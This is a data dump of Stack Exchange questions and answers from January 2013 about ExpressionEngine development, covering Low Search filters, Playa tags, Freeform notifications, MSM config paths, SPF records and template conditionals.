  <row Id="3527" PostTypeId="2" ParentId="3524" CreationDate="2013-01-10T04:01:29.737" Score="3" Body="&lt;p&gt;Here is the hit list I would go down:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Check the email addresses on outgoing messages (Admin -&gt; Email Configuration AND Members -&gt; Preferences). The shopping carts that set up member accounts have additional settings.&lt;/li&gt;&#xA;&lt;li&gt;Learn about the SPF (Sender Policy Framework) DNS records which notify other mail servers of who may send mail from your domain. &lt;a href=&quot;http://support.godaddy.com/help/article/7926/adding-or-editing-spf-records?locale=en&quot; rel=&quot;nofollow&quot;&gt;GoDaddy has a tutorial&lt;/a&gt;, and you can find others around.&lt;/li&gt;&#xA;&lt;li&gt;Make sure that your hosting provider (the IP sending messages) has not been blacklisted by some spam service. If this has happened, you might end up with email messages bounced back to you which explain how to get taken off the list.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="460" LastActivityDate="2013-01-10T04:01:29.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3528" PostTypeId="2" ParentId="3521" CreationDate="2013-01-10T04:46:32.547" Score="-1" Body="&lt;p&gt;This is untested, but maybe try using the &lt;code&gt;var_prefix&lt;/code&gt; and nest the &lt;code&gt;{exp:playa:children}&lt;/code&gt; tags like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;employee_board_memberships&quot; var_prefix=&quot;ebm&quot;}&#xA;    {exp:playa:children field=&quot;employee_investments&quot; var_prefix=&quot;ei&quot;}&#xA;    {if ebm:title}&#xA;        This was from the employee_board_memberships field&#xA;    {/if}&#xA;&#xA;    {if ei:title}&#xA;        This was from the employee_investments field&#xA;    {/if}&#xA;    {/exp:playa:children}&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-01-10T04:46:32.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3529" PostTypeId="2" ParentId="3520" CreationDate="2013-01-10T05:06:33.330" Score="2" Body="&lt;p&gt;I have a solution that has over 12 months of solid development, and is built entirely within EE. It's currently being used for a similar purpose to schedule appointments at specific intervals for healthcare providers. It's currently being used by around 10,000 users total and has been well tested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, it's not a conventional add-on one can install and will never be in this current iteration. I do however have a reasonable rate I will install it, and even customize it directly for your needs. I have demoed this system for quite a few people in EE, and would be glad to give you a demo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't a traditional answer of &quot;a how to&quot; for StackExchange, so sorry for the informality, but I believe this is the absolute best scheduling app available for EE. It's very robust and 100% customizable and works with virtually any other add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are interested, contact support[at]objectivehtml.com&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-01-10T05:06:33.330" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3530" PostTypeId="1" CreationDate="2013-01-10T05:45:31.097" Score="3" ViewCount="47" Body="&lt;p&gt;I have an extension and module that handles authentication for EE. I'm having some troubles understanding how to go about over-riding the handling in mod.member_settings.php. There is a hook for update|edit_user_preferences but it looks like it used to be that everything was under that hook. Sometime later they split things out but didn't add any additional hooks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need to do is handle the email_prefs_form and update_un_pw_form. Ive thought of some ways I can think of doing this with the caveat that I don't how or if any of these are EE ways of doing things. One is to have the actions of the forms handled by my module/extension. Another is to trap sessions_end and try and return a view from my module's view directory (mod.member_settings seems to override any attempt to do this). Another might be to get hooks in mod.member_settings.php somehow to handle the submits. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any specific suggestions? I'm fairly new to EE so I don't really know what questions to ask. &lt;/p&gt;&#xA;" OwnerUserId="748" LastEditorUserId="268" LastEditDate="2013-01-10T08:51:20.330" LastActivityDate="2013-01-10T15:46:28.110" Title="Problems overriding mod.member_settings.php email_prefs_form and update_un_pw_form" Tags="|add-on-development|extension|module|authenticate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3531" PostTypeId="1" AcceptedAnswerId="3540" CreationDate="2013-01-10T06:11:06.403" Score="1" ViewCount="116" Body="&lt;p&gt;I have this field&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Age Range --}&#xA;&amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;label&amp;gt;Age:&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;range-from:age&quot;/&amp;gt; to &amp;lt;input type=&quot;text&quot; name=&quot;range-to:age&quot;/&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Low Search, when I do a range search, it seems to be exclusive. Meaning, if I search for 25 to 35, search results do not include 25 and 35 (but will return 26 to 34). How to make this inclusive?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-01-10T07:15:28.237" LastActivityDate="2013-01-10T10:19:29.007" Title="How to do inclusive range in Low Search?" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3532" PostTypeId="1" AcceptedAnswerId="3539" CreationDate="2013-01-10T06:27:16.900" Score="2" ViewCount="147" Body="&lt;p&gt;Channels have author id. Authors are associated with groups (member).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to filter collection entries based on group id in Low Search?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-01-10T07:11:08.080" LastActivityDate="2013-01-10T10:12:15.337" Title="Low Search - Filter by Group Id" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3533" PostTypeId="1" AcceptedAnswerId="3538" CreationDate="2013-01-10T07:00:15.117" Score="2" ViewCount="132" Body="&lt;p&gt;Is there a way to create more dynamic collections?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am talking about creating collections like&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;collections that contain channel entries that have X field&lt;/li&gt;&#xA;&lt;li&gt;collections that contain channel entries who's A field is equal to 1&lt;/li&gt;&#xA;&lt;li&gt;collections that contain channel entries that are from date X to date Y&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-01-10T07:09:42.637" LastActivityDate="2013-01-10T10:07:21.740" Title="Low Search - Dynamic Collections" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3534" PostTypeId="1" AcceptedAnswerId="3543" CreationDate="2013-01-10T08:18:43.300" Score="1" ViewCount="233" Body="&lt;p&gt;I'm building an event registration website at the moment and I'm looking for a way to allow the site owners to modify the content of emails sent by Freeform (v3 free version).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I'm using Low Variables, I tried just adding the Low var to into the notification template and I also tried embedding a template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have considered using MX Notify Control but while that allows for customisation of the email templates, it's limiting in others.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-10T11:54:35.383" Title="user editable Freeform emails" Tags="|templates|solspace-freeform|low-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3535" PostTypeId="2" ParentId="2462" CreationDate="2013-01-10T08:49:44.967" Score="3" Body="&lt;p&gt;This seems exceedingly difficult to do because, it requires not only knowing how many entries from the top the channel entry in question is, it also needs to know how many entries per page the template is set to display.  If you are willing to hard code in the number of entries per page (which is not a great idea because you then break your search results the moment you change the entries template and forget to update the search results page.  I guess you could do this with a plugin which you may have to use in an embedded template, and it seems to me like it would be pretty inefficient.  The basic idea would be that for each search result returned you take that entry id and go do the most stripped down possible version of the query that will be done in the actual entry listing template. you are just trying to get the &lt;code&gt;{count}&lt;/code&gt; variable back, and turn that into &lt;code&gt;$page = $count$ % $the_number_of_entries_per_page&lt;/code&gt;.  You would then need to transform that into a link to &lt;code&gt;landing/P$page*$the_number_of_entries_per_page&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The really inefficient thing about this is that you are performing that query for every search result, a better solution would be to create a single entry page that you can use just for the case when you've done a search and are returning a specific entry, even if you don't use that page in your normal sites' navigation.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2013-01-10T08:49:44.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3536" PostTypeId="2" ParentId="2460" CreationDate="2013-01-10T09:10:54.680" Score="0" Body="&lt;p&gt;I would go for Cart Throb (http://cartthrob.com) as that will pretty much do all this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember, EE is quite durable in the way that a lot of the features are built in i.e. Member Groups etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've run Cart Throb on a few eCommerce sites, all with different needs (Some with the need for different prices, per member group) and it's always worked out in the end. With no hacking and no PHP.&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2013-01-10T09:10:54.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3537" PostTypeId="2" ParentId="3499" CreationDate="2013-01-10T09:37:46.530" Score="1" Body="&lt;p&gt;Removing this line in my config file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$config['site_name'] = &quot;&quot;;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Fixed this issue.&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2013-01-10T09:37:46.530" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3538" PostTypeId="2" ParentId="3533" CreationDate="2013-01-10T10:07:21.740" Score="2" Body="&lt;p&gt;I think you're not fully grasping the concept of Collections in Low Search. If you read the &lt;a href=&quot;http://gotolow.com/blog/a-low-search-primer&quot; rel=&quot;nofollow&quot;&gt;Low Search Primer&lt;/a&gt;, you'll find that Collections merely are a means to allow for effective &lt;em&gt;filtering by keyword&lt;/em&gt;. If you're targeting specific fields, don't necessarily think Collection, but other parameters to get the right &lt;em&gt;entries&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Entries&lt;/em&gt; that have X field: &lt;code&gt;search:field_x=&quot;not IS_EMPTY&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Entries&lt;/em&gt; who's A field is equal to 1: &lt;code&gt;search:field_a=&quot;=1&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Entries&lt;/em&gt; that are from date X to date Y: depends on what &quot;date&quot; you mean:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Entry Date: use &lt;code&gt;start_from=&quot;date1&quot;&lt;/code&gt; and &lt;code&gt;stop_before=&quot;date2&quot;&lt;/code&gt; (native parameters)&lt;/li&gt;&#xA;&lt;li&gt;Custom field: use &lt;code&gt;range-from:date_field=&quot;date1&quot;&lt;/code&gt;, &lt;code&gt;range-to:date_field=&quot;date2&quot;&lt;/code&gt; or &lt;code&gt;range:date_field=&quot;date1;date2&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Or instead of using tag parameters, add them to the Form tag as input fields with these attributes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;name=&quot;search:field_x&quot; value=&quot;not IS_EMPTY&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;name=&quot;search:field_a&quot; value=&quot;=1&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Dates:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;name=&quot;start_from&quot; value=&quot;date1&quot;&lt;/code&gt; and &lt;code&gt;name=&quot;stop_before&quot; value=&quot;date2&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;name=&quot;range-from:date_field&quot; value=&quot;date1&quot;&lt;/code&gt; and &lt;code&gt;name=&quot;range-to:date_field&quot; value=&quot;date2&quot;&lt;/code&gt; or &lt;code&gt;name=&quot;range:date_field&quot; value=&quot;date1;date2&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-01-10T10:07:21.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3539" PostTypeId="2" ParentId="3532" CreationDate="2013-01-10T10:12:15.337" Score="2" Body="&lt;p&gt;The native channel:entries tag supports the &lt;code&gt;group_id=&quot;&quot;&lt;/code&gt; parameter (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#group-id&quot; rel=&quot;nofollow&quot;&gt;see the docs&lt;/a&gt;), which means you can filter Low Search results by group ID as well. Simply add it as an input field to your search form, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;group_id&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;All groups&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;1&quot;&amp;gt;SuperAdmins&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;x&quot;&amp;gt;Group X&amp;lt;/option&amp;gt;&#xA;    ...&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-01-10T10:12:15.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3540" PostTypeId="2" ParentId="3531" CreationDate="2013-01-10T10:19:29.007" Score="1" Body="&lt;p&gt;The Low Search Range filters already are inclusive. If you're not getting the expected results, check if the field you're targeting is a valid numeric field: it should be a &lt;strong&gt;Text Input&lt;/strong&gt; with &lt;strong&gt;Content Type&lt;/strong&gt; set to &lt;strong&gt;Number&lt;/strong&gt;, &lt;strong&gt;Integer&lt;/strong&gt; or &lt;strong&gt;Decimal&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-01-10T10:19:29.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3541" PostTypeId="1" AcceptedAnswerId="3546" CreationDate="2013-01-10T11:17:46.357" Score="0" ViewCount="286" Body="&lt;p&gt;I'm currently running my custom bootstrap config, and I had a previous problem where MSM wouldn't work with it (Both in the Control Panel and the front end) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to fix this problem, but now I get an &quot;Error 500&quot; on the front end, whenever I enter one of the sites other than the main one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be causing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have possibly nailed it down to being:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php require('./config.php'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my &quot;system/expressionengine/config/config.php&quot; requesting my custom config file in the root directory. Could this be causing problems?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My custom config file can be found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/madebymayo/ExpressionEngine-Environment-Config&quot; rel=&quot;nofollow&quot;&gt;https://github.com/madebymayo/ExpressionEngine-Environment-Config&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I must point out, that before placing my custom config in, the original config file worked perfectly for EE and MSM. But it doesn't really work with my workflow :)&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;strong&gt;PARTIALLY SOLVED...Still need help&lt;/strong&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;My current setup is to have my custom &quot;config.php&quot; bootstrap in the root of my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then Have the require('./config.php') in both the database.php and config.php files within &quot;/system/expressionengine/config/&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My URL's look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://website.com&quot; rel=&quot;nofollow&quot;&gt;http://website.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://website.com/website_1&quot; rel=&quot;nofollow&quot;&gt;http://website.com/website_1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://website.com/website_2&quot; rel=&quot;nofollow&quot;&gt;http://website.com/website_2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I think the problem is the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php require('./config.php'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I changed it to (Added dot):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php require('../config.php'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and both my website_1 and website_2 work. But it breaks my Control Panel and the Root URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an If statement I could put in my config file, to say IF we're inside either website_1 or website_2 display:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php require('../config.php'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if we're inside the root or in the CP, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php require('./config.php'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="362" LastEditorUserId="362" LastEditDate="2013-01-10T11:48:53.673" LastActivityDate="2013-01-10T15:30:01.903" Title="MSM, Error 500 and Custom Config" Tags="|multi-site-manager|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3542" PostTypeId="2" ParentId="3520" CreationDate="2013-01-10T11:30:46.457" Score="1" Body="&lt;p&gt;I've made a booking system for holiday properties using SolSpace Calendar. Although my solution only books full days there is no reason it could not be done in time slots since Calendar supports this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that said, it was horrible to do but that is partly down to the other requirements of the site - hundreds of bookable resources and property owners able to create bookings from an SAEF. If you are dealing with a few bookable resources and this bookings are managed in the CP then it would be pretty standard usage of the add-on.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-01-10T11:30:46.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3543" PostTypeId="2" ParentId="3534" CreationDate="2013-01-10T11:54:35.383" Score="3" Body="&lt;p&gt;Freeform 4 (&lt;a href=&quot;http://www.solspace.com/software/license/freeform/free/&quot; rel=&quot;nofollow&quot;&gt;free version&lt;/a&gt;) supports plugins in the “Email Message” notification field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be possible to use one of Low Variables tags instead of the simple global variable syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:parse var=&quot;my_low_variables_var&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you could write your own simple plugin that outputs whatever you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I dont’t know if plugin usage in notifications works with Freeform 3. It’s worth a try I would say.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Another way could be to use hidden input fields that contain content for the notification mails. You can use Channel data, Low Variables, …:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; value=&quot;{my_low_variables_var}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This isn’t very secure in Freeform 3 (or earlier versions of Freeform 4) because it would be easy to manipulate the value of those fields prior submit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But Jim Wyse from Solspace &lt;a href=&quot;http://www.solspace.com/forums/viewreply/57953/&quot; rel=&quot;nofollow&quot;&gt;postet on December 7&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Freeform 4+ now stores the information that was in hidden fields prior&#xA;  in a parameters table and calls them with the parameter ID, so those&#xA;  are no longer exposed as hidden fields.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is cool.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If there aren’t any reasons to not upgrade to Freeform 4 (free version), I would suggest the upgrade and one of the two solutions above. &lt;/p&gt;&#xA;" OwnerUserId="201" LastActivityDate="2013-01-10T11:54:35.383" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3544" PostTypeId="2" ParentId="3541" CreationDate="2013-01-10T12:25:23.867" Score="0" Body="&lt;p&gt;A useful trick I use in circumstances like this is to define an environment variable in an &lt;code&gt;.htaccess&lt;/code&gt; file. These environment variables can then be accessed via PHP&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in website_1/ and website_2/, put the following line at the top of your &lt;code&gt;.htaccess&lt;/code&gt; file: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SetEnv CONFIG_PATH_RELATIVE &quot;../&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then in the root site (where your control panel is), put the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SetEnv CONFIG_PATH_RELATIVE &quot;./&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, inside your main &lt;code&gt;config.php&lt;/code&gt; file, at the top, do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('CONFIG_PATH_RELATIVE') &#xA;    || define('CONFIG_PATH_RELATIVE', (getenv('CONFIG_PATH_RELATIVE') ? getenv('CONFIG_PATH_RELATIVE') : FCPATH));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code says, &quot;check for a constant named &lt;code&gt;CONFIG_PATH_RELATIVE&lt;/code&gt;. If you find it, use it. If not, define that constant as the contents of the &lt;em&gt;environment variable&lt;/em&gt; &lt;code&gt;CONFIG_PATH_RELATIVE&lt;/code&gt;, and if you don't find an environment variable with that name, then use the EE built-in constant &lt;code&gt;FCPATH&lt;/code&gt;.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last, wherever you're requiring your custom config, change the statement to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php require_once(CONFIG_PATH_RELATIVE.'config.php'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note that I've changed your &lt;code&gt;require&lt;/code&gt; to a &lt;code&gt;require_once&lt;/code&gt;. This is almost always better practice.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only real caveat is that some web hosts (usually the cheap ones) will not let you set environment vars in &lt;code&gt;.htaccess&lt;/code&gt;. If you have one of those hosts, this technique will not work for you.&lt;/p&gt;&#xA;" OwnerUserId="139" LastActivityDate="2013-01-10T12:25:23.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3546" PostTypeId="2" ParentId="3541" CreationDate="2013-01-10T12:59:54.033" Score="3" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require(dirname(__FILE__).'/path/from/current/file/to/config.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example, assuming you have config.php in the standard &lt;code&gt;system/expressionengine/config&lt;/code&gt; directory, you would use this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require(dirname(__FILE__).'/../../../config.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="750" LastEditorUserId="150" LastEditDate="2013-01-10T15:30:01.903" LastActivityDate="2013-01-10T15:30:01.903" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3547" PostTypeId="2" ParentId="3513" CreationDate="2013-01-10T13:05:48.107" Score="1" Body="&lt;p&gt;You could use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;radio&quot; name=&quot;my_field&quot; value=&quot;Yes&quot;{if med == 'Yes'}Checked{/if} /&amp;gt;&#xA;&amp;lt;input type=&quot;radio&quot; name=&quot;my_field&quot; value=&quot;No&quot;{if med == 'No'}Checked{/if} /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you get problems saving a 'required' field, then try adding hidden inputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name=&quot;my_field&quot; type=&quot;hidden&quot; value=&quot;&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-01-10T13:05:48.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3548" PostTypeId="1" AcceptedAnswerId="3553" CreationDate="2013-01-10T13:55:35.557" Score="1" ViewCount="866" Body="&lt;p&gt;Assume the URL: www.domain.com. What is &lt;code&gt;{segment_1}&lt;/code&gt;? It's empty, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now assume the URL: www.domain.com/foo/. What is &lt;code&gt;{segment_1}&lt;/code&gt;? It's &lt;code&gt;foo&lt;/code&gt;, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this in my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;{if segment_1 == ''}{segment_1} - case 1{/if}&amp;lt;/h1&amp;gt;&#xA;&amp;lt;h1&amp;gt;{if segment_1 == 'foo'}{segment_1} - case 2{/if}&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On www.domain.com, I get an output of &lt;code&gt;- case 1&lt;/code&gt; wrapped in &lt;code&gt;h1&lt;/code&gt; tags followed by an empty pair of &lt;code&gt;h1&lt;/code&gt; tags. This seems correct to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On www.domain.com/foo/, I get an output of &lt;code&gt;foo - case 1&lt;/code&gt; wrapped in &lt;code&gt;h1&lt;/code&gt; tags followed again by an empty pair of &lt;code&gt;h1&lt;/code&gt; tags. &lt;strong&gt;This is wrong.&lt;/strong&gt; I should be getting an empty pair of &lt;code&gt;h1&lt;/code&gt; tags followed by &lt;code&gt;foo - case 2&lt;/code&gt;. Any idea what's going wrong with my conditionals?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using latest version of EE. Using Stash, too.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-05-18T19:49:29.430" Title="Conditionals and segment_1" Tags="|templates|conditionals|stash|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3549" PostTypeId="1" AcceptedAnswerId="3706" CreationDate="2013-01-10T14:01:46.053" Score="1" ViewCount="292" Body="&lt;p&gt;I have added a WYGWAM field but when I go to the publish page, the field does not load. Just a blank space (see image: &lt;a href=&quot;http://cl.ly/M5jJ&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/M5jJ&lt;/a&gt;).  When I inspect the page, I see the following error: coeditor.js - Type Issue 'null' is not an object (evaluating 'x.onLoad')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else run into this or have any idea how to resolve it? I have the following add-ons installed:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CE Cache &lt;/li&gt;&#xA;&lt;li&gt;CE Image &lt;/li&gt;&#xA;&lt;li&gt;CE Img AWS &lt;/li&gt;&#xA;&lt;li&gt;Channel Files &lt;/li&gt;&#xA;&lt;li&gt;Channel Videos &lt;/li&gt;&#xA;&lt;li&gt;devot:ee Monitor&lt;/li&gt;&#xA;&lt;li&gt;Edit This&lt;/li&gt;&#xA;&lt;li&gt;EE Hive Hacksaw&lt;/li&gt;&#xA;&lt;li&gt;Hits&lt;/li&gt;&#xA;&lt;li&gt;Mountee&lt;/li&gt;&#xA;&lt;li&gt;Playa&lt;/li&gt;&#xA;&lt;li&gt;Tagger&lt;/li&gt;&#xA;&lt;li&gt;Template Variables&lt;/li&gt;&#xA;&lt;li&gt;TruncHTML&lt;/li&gt;&#xA;&lt;li&gt;Vz URL&lt;/li&gt;&#xA;&lt;li&gt;Wygwam&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I also have an RTE field type (although not in use on the same publish page) which I'm trying to upgrade from. Thanks for taking a look.&lt;/p&gt;&#xA;" OwnerUserId="135" LastActivityDate="2013-01-13T20:08:27.173" Title="WYGWAM Field Blank" Tags="|add-on|error|wygwam|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
